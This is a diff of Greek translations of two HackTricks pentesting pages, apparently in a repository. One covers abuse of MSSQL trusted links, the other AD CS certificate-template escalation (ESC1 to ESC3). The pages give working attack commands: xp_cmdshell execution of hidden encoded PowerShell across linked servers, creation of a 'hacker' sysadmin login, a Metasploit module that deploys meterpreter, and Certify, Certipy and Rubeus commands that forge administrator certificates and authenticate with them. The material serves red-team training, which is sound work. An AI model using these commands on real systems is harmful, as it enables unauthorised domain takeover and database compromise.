* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Απαρίθμηση / Ανακάλυψη MSSQL**
Το πρόσθετο powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) είναι πολύ χρήσιμο σε αυτήν την περίπτωση.
@ -53,7 +58,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
```
## Βασική Κατάχρηση MSSQL
### Πρόσβαση στη ΒΔ
### Πρόσβαση στη Βάση Δεδομένων
```powershell
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
@ -72,17 +77,17 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
```
### Βασικά Κόλπα Χάκερικής για το MSSQL
### Βασικά Κόλπα Χάκερ για το MSSQL
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
## Εμπιστευμένοι Σύνδεσμοι MSSQL
## Αξιόπιστοι Σύνδεσμοι MSSQL
Εάν ένα παράδειγμα MSSQL είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό παράδειγμα MSSQL. Εάν ο χρήστης έχει προνόμια στην εμπιστευμένη βάση δεδομένων, θα μπορεί να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στο άλλο παράδειγμα**. Αυτές οι εμπιστοσύνες μπορούν να αλυσιδωθούν και σε κάποιο σημείο ο χρήστης ενδέχεται να βρει μια κακοδιαμορφωμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.
Εάν ένα παράδειγμα MSSQL είναι αξιόπιστο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό παράδειγμα MSSQL. Εάν ο χρήστης έχει προνόμια στην αξιόπιστη βάση δεδομένων, θα μπορεί να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στο άλλο παράδειγμα**. Αυτές οι εμπιστοσύνες μπορούν να αλυσιδωθούν και σε κάποιο σημείο ο χρήστης ενδέχεται να βρει μια κακοδιαμορφωμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.
**Οι σύνδεσμοι μεταξύ βάσεων δεδομένων λειτουργούν ακόμα και σε εμπιστοσύνες δάση.**
**Οι σύνδεσμοι μεταξύ βάσεων δεδομένων λειτουργούν ακόμα και σε εμπιστοσύνες δάσους.**
### Κατάχρηση Powershell
```powershell
@ -124,22 +129,22 @@ Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
### Μη αυτόματο - Openquery()
### Μη αυτόματη - Openquery()
Από το **Linux** μπορείτε να αποκτήσετε ένα κέλυφος κονσόλας MSSQL με τα **sqsh** και **mssqlclient.py.**
Από τα **Windows** μπορείτε επίσης να βρείτε τους συνδέσμους και να εκτελέσετε εντολές χειροκίνητα χρησιμοποιώντας έναν **πελάτη MSSQL όπως το** [**HeidiSQL**](https://www.heidisql.com)
Από τα **Windows** μπορείτε επίσης να βρείτε τους συνδέσμους και να εκτελέσετε εντολές χειροκίνητα χρησιμοποιώντας έναν **MSSQL client όπως το** [**HeidiSQL**](https://www.heidisql.com)
_Σύνδεση χρησιμοποιώντας ταυτοποίηση Windows:_
![](<../../.gitbook/assets/image (167) (1).png>)
![](<../../.gitbook/assets/image (805).png>)
#### Εύρεση Αξιόπιστων Συνδέσμων
```sql
select * from master..sysservers;
EXEC sp_linkedservers;
```
![](<../../.gitbook/assets/image (168).png>)
![](<../../.gitbook/assets/image (713).png>)
#### Εκτέλεση ερωτημάτων σε αξιόπιστο σύνδεσμο
@ -151,9 +156,9 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
Ελέγξτε πού χρησιμοποιούνται τα διπλά και μονά εισαγωγικά, είναι σημαντικό να χρησιμοποιούνται με αυτόν τον τρόπο.
{% endhint %}
![](<../../.gitbook/assets/image (169).png>)
![](<../../.gitbook/assets/image (640).png>)
Μπορείτε να συνεχίσετε αυτήν την αλυσίδα αξιόπιστων συνδέσεων επ' αόριστον χειροκίνητα.
Μπορείτε να συνεχίσετε αυτήν την αλυσίδα αξιόπιστων συνδέσεων επ' άπειρον χειροκίνητα.
```sql
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
@ -169,10 +174,26 @@ SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", '
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
## Ανόρθωση Προνομίων Τοπικού Χρήστη
## Ανόρθωση Προνομίων Τοπικά
Ο **τοπικός χρήστης MSSQL** συνήθως έχει ένα ειδικό είδος προνομίου που ονομάζεται **`SeImpersonatePrivilege`**. Αυτό επιτρέπει στον λογαριασμό να "υποκαταστήσει έναν πελάτη μετά την πιστοποίηση".
Μια στρατηγική που πολλοί συγγραφείς έχουν σκεφτεί είναι να αναγκάσουν ένα υπηρεσία SYSTEM να πιστοποιηθεί σε μια ψεύτικη ή man-in-the-middle υπηρεσία που δημιουργεί ο επιτιθέμενος. Αυτή η ψεύτικη υπηρεσία είναι σε θέση να υποκαταστήσει την υπηρεσία SYSTEM ενώ προσπαθεί να πιστοποιηθεί.
Το [SweetPotato](https://github.com/CCob/SweetPotato) διαθέτει μια συλλογή αυτών των διαφόρων τεχνικών που μπορούν να εκτελεστούν μέσω της εντολής `execute-assembly` του Beacon.
[SweetPotato](https://github.com/CCob/SweetPotato) διαθέτει μια συλλογή από αυτές τις διάφορες τεχνικές που μπορούν να εκτελεστούν μέσω της εντολής `execute-assembly` του Beacon.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,20 +1,25 @@
# AD CS Ανέλιξη Τομέα
# Ανόδος στον τομέα του AD CS Domain
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
**Αυτό είναι ένα σύνοψη των ενοτήτων τεχνικών ανέλιξης τους δημοσιεύσεων:**
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Αυτό είναι ένα σύνοψη των τεχνικών ανόδου τμήματος των αναρτήσεων:**
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
* [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
@ -23,24 +28,24 @@
### Εξήγηση
### Εξήγηση Εσφαλμένων Προτύπων Πιστοποιητικών - ESC1
### Εξήγηση των Εσφαλμένων Προτύπων Πιστοποιητικών - ESC1
* **Τα δικαιώματα εγγραφής παρέχονται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.**
* **Δεν απαιτείται έγκριση διαχειριστή.**
* **Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.**
* **Δεν απαιτείται έγκριση διευθυντή.**
* **Δεν απαιτούνται υπογραφές από εξουσιοδοτημένο προσωπικό.**
* **Οι περιγραφείς ασφαλείας στα πρότυπα πιστοποιητικών είναι υπερβολικά επιτρεπτικές, επιτρέποντας σε χρήστες με χαμηλά προνόμια να αποκτήσουν δικαιώματα εγγραφής.**
* **Τα πρότυπα πιστοποιητικών έχουν διαμορφωθεί για να καθορίζουν EKUs που διευκολύνουν την πιστοποίηση ταυτότητας:**
* Συμπεριλαμβάνονται αναγνωριστικά Επεκτεινόμενης Χρήσης Κλειδιού (EKU) όπως Πιστοποίηση Πελάτη (OID 1.3.6.1.5.5.7.3.2), Πιστοποίηση Πελάτη PKINIT (1.3.6.1.5.2.3.4), Σύνδεση με Έξυπνη Κάρτα (OID 1.3.6.1.4.1.311.20.2.2), Οποιοδήποτε Σκοπό (OID 2.5.29.37.0) ή κανένα EKU (SubCA).
* **Το πρότυπο πιστοποιητικού επιτρέπει στους αιτούντες να συμπεριλάβουν ένα subjectAltName στο Certificate Signing Request (CSR):**
* Το Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για τον έλεγχο ταυτότητας εάν είναι παρόν. Αυτό σημαίνει ότι, καθορίζοντας το SAN σε ένα CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσομοιώσει οποιονδήποτε χρήστη (π.χ. διαχειριστή τομέα). Εάν ο αιτών μπορεί να καθορίσει ένα SAN δηλώνεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bitmask και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει την καθορισμό του SAN από τον αιτούντα.
* **Οι περιγραφείς ασφάλειας στα πρότυπα πιστοποιητικών είναι υπερβολικά επιεικείς, επιτρέποντας σε χρήστες με χαμηλά προνόμια να αποκτήσουν δικαιώματα εγγραφής.**
* **Τα πρότυπα πιστοποιητικών έχουν ρυθμιστεί για να ορίζουν EKUs που διευκολύνουν την πιστοποίηση:**
* Οι αναγνωριστές Επεκτεταμένης Χρήσης Κλειδιών (EKU) όπως η Πιστοποίηση Πελάτη (OID 1.3.6.1.5.5.7.3.2), Πιστοποίηση Πελάτη PKINIT (1.3.6.1.5.2.3.4), Σύνδεση με Έξυπνη Κάρτα (OID 1.3.6.1.4.1.311.20.2.2), Οποιοσδήποτε Σκοπός (OID 2.5.29.37.0), ή καμία EKU (SubCA) περιλαμβάνονται.
* **Η δυνατότητα για τους αιτούντες να συμπεριλάβουν ένα subjectAltName στο Αίτημα Υπογραφής Πιστοποιητικού (CSR) επιτρέπεται από το πρότυπο:**
* Το Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για τον έλεγχο ταυτότητας εάν υπάρχει. Αυτό σημαίνει ότι με την καθορισμένη SAN σε ένα CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσομοιώσει οποιονδήποτε χρήστη (π.χ. διαχειριστή τομέα). Εάν ο αιτών μπορεί να καθορίσει το SAN δείχνεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει στον αιτούντα να καθορίσει το SAN.
{% hint style="danger" %}
Η διαμόρφωση που περιγράφεται επιτρέπει σε χρήστες με χαμηλά προνόμια να ζητήσουν πιστοποιητικά με οποιοδήποτε SAN επιλογής, επιτρέποντας την πιστοποίηση ως οποιονδήποτε κύριο τομέα μέσω Kerberos ή SChannel.
Η διαμόρφωση που περιγράφεται επιτρέπει σε χρήστες με χαμηλά προνόμια να ζητήσουν πιστοποιητικά με οποιοδήποτε SAN της επιλογής τους, επιτρέποντας την πιστοποίηση ως οποιονδήποτε κύριο τομέα μέσω Kerberos ή SChannel.
{% endhint %}
Αυτή η δυνατότητα ενεργοποιείται μερικές φορές για να υποστηρίξει τη δημιουργία HTTPS ή πιστοποιητικών κεντρικού υπολογιστή από προϊόντα ή υπηρεσίες αναπτύξεων, ή λόγω έλλειψης κατανόησης.
Αυτό το χαρακτηριστικό ενεργοποιείται μερικές φορές για να υποστηρίξει τη δυνατότητα δημιουργίας πιστοποιητικών HTTPS ή host κατά την εκτέλεση από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης.
Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτήν την επιλογή ενεργοποιεί έναν προειδοποιητικό μηνύματος, που δεν συμβαίνει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο `WebServer`, που έχει ενεργοποιημένη την `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) αντιγράφεται και στη συνέχεια τροποποιείται για να περιλαμβάνει ένα OID πιστοποίησης.
Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτήν την επιλογή ενεργοποιεί έναν προειδοποιητικό μηνύμα, το οποίο δεν συμβαίνει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο `WebServer`, που έχει ενεργοποιημένη την `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) αντιγράφεται και στη συνέχεια τροποποιείται για να περιλαμβάνει έναν αναγνωριστικό πιστοποίησης.
### Κατάχρηση
@ -49,73 +54,73 @@
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
```
Για να **καταχραστείτε αυτήν την ευπάθεια για να προσομοιώσετε έναν διαχειριστή**, μπορείτε να εκτελέσετε:
Για να **καταχραστείτε αυτήν την ευπάθεια για να προσωποποιήσετε έναν διαχειριστή**, μπορείτε να εκτελέσετε:
```bash
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
```
Στη συνέχεια, μπορείτε να μετατρέψετε το παραγόμενο **πιστοποιητικό σε μορφή `.pfx`** και να το χρησιμοποιήσετε για **πιστοποίηση χρησιμοποιώντας το Rubeus ή το certipy** ξανά:
Τότε μπορείτε να μετατρέψετε το παραγόμενο **πιστοποιητικό στη μορφή `.pfx`** και να το χρησιμοποιήσετε για **πιστοποίηση χρησιμοποιώντας το Rubeus ή το certipy** ξανά:
```bash
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Τα δυαδικά αρχεία των Windows "Certreq.exe" και "Certutil.exe" μπορούν να χρησιμοποιηθούν για τη δημιουργία του PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Τα Windows binaries "Certreq.exe" & "Certutil.exe" μπορούν να χρησιμοποιηθούν για τη δημιουργία του PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Η απαρίθμηση των προτύπων πιστοποιητικών εντός του σχήματος διαμόρφωσης του AD Forest, ειδικότερα αυτών που δεν απαιτούν έγκριση ή υπογραφές, διαθέτουν το EKU της Πιστοποίησης Πελάτη ή της Σύνδεσης με Έξυπνη Κάρτα και έχουν ενεργοποιημένη τη σημαία `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, μπορεί να γίνει με την εκτέλεση του παρακάτω ερωτήματος LDAP:
Η απαρίθμηση των προτύπων πιστοποιητικών εντός του σχήματος διαμόρφωσης του AD Forest, ειδικότερα αυτών που δεν απαιτούν έγκριση ή υπογραφές, διαθέτουν ένα EKU Πιστοποίησης Πελάτη ή Είσοδος με Κάρτα Ελέγχου, και με τη σημαία `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` ενεργοποιημένη, μπορεί να εκτελεστεί με την εκτέλεση του παρακάτω ερωτήματος LDAP:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
## Εσφαλμένα διαμορφωμένα πρότυπα πιστοποιητικών - ESC2
## Εσφαλμένα Πρότυπα Πιστοποιητικών - ESC2
### Εξήγηση
Το δεύτερο σενάριο κατάχρησης είναι μια παραλλαγή του πρώτου:
1. Τα δικαιώματα εγγραφής παρέχονται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.
2. Η απαίτηση για έγκριση από τον διευθυντή απενεργοποιείται.
3. Παραλείπεται η ανάγκη για εξουσιοδοτημένες υπογραφές.
4. Ένας υπερβολικά επιτρεπτικός περιγραφέας ασφαλείας στο πρότυπο πιστοποιητικού παρέχει δικαιώματα εγγραφής πιστοποιητικού σε χρήστες με χαμηλά προνόμια.
5. **Το πρότυπο πιστοποιητικού καθορίζεται να περιλαμβάνει το οποιοδήποτε σκοπό EKU ή κανένα EKU.**
1. Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.
2. Η απαίτηση για έγκριση διευθυντή είναι απενεργοποιημένη.
3. Η ανάγκη για εξουσιοδοτημένες υπογραφές παραλείπεται.
4. Ένα υπερβολικά επιτρεπτικό αποκριτήριο ασφαλείας στο πρότυπο πιστοποιητικού χορηγεί δικαιώματα εγγραφής πιστοποιητικού σε χρήστες με χαμηλά προνόμια.
5. **Το πρότυπο πιστοποιητικού ορίζεται να περιλαμβάνει το Any Purpose EKU ή κανένα EKU.**
Το **οποιοδήποτε σκοπό EKU** επιτρέπει σε ένα πιστοποιητικό να ληφθεί από έναν επιτιθέμενο για **οποιονδήποτε σκοπό**, συμπεριλαμβανομένης της πιστοποίησης πελάτη, της πιστοποίησης διακομιστή, της υπογραφής κώδικα, κλπ. Η ίδια **τεχνική που χρησιμοποιείται για το ESC3** μπορεί να χρησιμοποιηθεί για την εκμετάλλευση αυτού του σεναρίου.
Το **Any Purpose EKU** επιτρέπει την απόκτηση ενός πιστοποιητικού από έναν επιτιθέμενο για **οποιοδήποτε σκοπό**, συμπεριλαμβανομένης της πιστοποίησης πελάτη, της πιστοποίησης διακομιστή, της υπογραφής κώδικα, κ.λπ. Η ίδια **τεχνική που χρησιμοποιείται για το ESC3** μπορεί να χρησιμοποιηθεί για την εκμετάλλευση αυτού του σεναρίου.
Τα πιστοποιητικά με **κανένα EKU**, τα οποία λειτουργούν ως πιστοποιητικά υποκατηγορίας CA, μπορούν να εκμεταλλευτούν για **οποιονδήποτε σκοπό** και μπορούν **επίσης να χρησιμοποιηθούν για την υπογραφή νέων πιστοποιητικών**. Έτσι, ένας επιτιθέμενος μπορεί να καθορίσει αυθαίρετα EKU ή πεδία στα νέα πιστοποιητικά χρησιμοποιώντας ένα πιστοποιητικό υποκατηγορίας CA.
Τα πιστοποιητικά με **κανένα EKU**, τα οποία λειτουργούν ως πιστοποιητικά υποδοχής CA, μπορούν να εκμεταλλευτούν για **οποιοδήποτε σκοπό** και μπορούν **επίσης να χρησιμοποιηθούν για την υπογραφή νέων πιστοποιητικών**. Έτσι, ένας επιτιθέμενος θα μπορούσε να καθορίσει τυχαία EKUs ή πεδία στα νέα πιστοποιητικά χρησιμοποιώντας ένα πιστοποιητικό υποδοχής CA.
Ωστόσο, τα νέα πιστοποιητικά που δημιουργούνται για την **πιστοποίηση του τομέα** δεν θα λειτουργήσουν εάν το υποκατάστημα CA δεν είναι εμπιστευμένο από το αντικείμενο **`NTAuthCertificates`**, το οποίο είναι η προεπιλεγμένη ρύθμιση. Ωστόσο, ένας επιτιθέμενος μπορεί ακόμα να δημιουργήσει **νέα πιστοποιητικά με οποιονδήποτε EKU** και αυθαίρετες τιμές πιστοποιητικού. Αυτά θα μπορούσαν να εκμεταλλευτούνται δυνητικά για μια ευρεία γκάμα σκοπών (π.χ. υπογραφή κώδικα, πιστοποίηση διακομιστή, κλπ.) και θα μπορούσαν να έχουν σημαντικές επιπτώσεις για άλλες εφαρμογές στο δίκτυο, όπως SAML, AD FS ή IPSec.
Ωστόσο, τα νέα πιστοποιητικά που δημιουργούνται για **πιστοποίηση τομέα** δεν θα λειτουργήσουν εάν το υποδοχής CA δεν είναι εμπιστευμένο από το αντικείμενο **`NTAuthCertificates`**, το οποίο είναι η προεπιλεγμένη ρύθμιση. Παρ' όλα αυτά, ένας επιτιθέμενος μπορεί ακόμα να δημιουργήσει **νέα πιστοποιητικά με οποιοδήποτε EKU** και τιμές πιστοποιητικού. Αυτά θα μπορούσαν πιθανώς να **καταχραστούν** για μια ευρεία γκάμα σκοπών (π.χ., υπογραφή κώδικα, πιστοποίηση διακομιστή, κ.λπ.) και θα μπορούσαν να έχουν σημαντικές επιπτώσεις για άλλες εφαρμογές στο δίκτυο όπως SAML, AD FS ή IPSec.
Για να απαριθμήσετε τα πρότυπα που ταιριάζουν σε αυτό το σενάριο μέσα στο σχήμα διαμόρφωσης του AD Forest, μπορείτε να εκτελέσετε τον ακόλουθο ερώτημα LDAP:
Για να απαριθμήσετε τα πρότυπα που ταιριάζουν σε αυτό το σενάριο μέσα στο σχήμα διαμόρφωσης του δάσους AD, μπορεί να εκτελεστεί η ακόλουθη ερώτηση LDAP:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
## Εσφαλμένα ρυθμισμένα πρότυπα Πιστοποίησης Πράκτορα Εγγραφής - ESC3
## Εσφαλμένα ρυθμισμένα πρότυπα πράκτορα εγγραφής - ESC3
### Εξήγηση
Αυτό το σενάριο είναι παρόμοιο με το πρώτο και το δεύτερο, αλλά **καταχράστηκε** ένα **διαφορετικό EKU**ιστοποιητικό Πράκτορα Αίτησης) και **2 διαφορετικά πρότυπα** (επομένως έχει 2 σύνολα απαιτήσεων).
Αυτό το σενάριο είναι παρόμοιο με το πρώτο και το δεύτερο, αλλά **καταχρώμενον** ένα **διαφορετικό EKU** (Πράκτορας Αίτησης Πιστοποίησης) και **2 διαφορετικά πρότυπα** (επομένως έχει 2 σύνολα απαιτήσεων),
Το **EKU του Πιστοποιητικού Πράκτορα Αίτησης** (OID 1.3.6.1.4.1.311.20.2.1), γνωστό ως **Πράκτορας Εγγραφής** στην τεκμηρίωση της Microsoft, επιτρέπει σε έναν αρχηγό να **εγγραφεί** για ένα **πιστοποιητικό** εκ μέρους ενός άλλου χρήστη.
Το **EKU του Πράκτορα Αίτησης Πιστοποίησης** (OID 1.3.6.1.4.1.311.20.2.1), γνωστό ως **Πράκτορας Εγγραφής** στην τεκμηρίωση της Microsoft, επιτρέπει σε έναν αρχέτυπο να **εγγραφεί** για ένα **πιστοποιητικό** εκ μέρους ενός άλλου χρήστη.
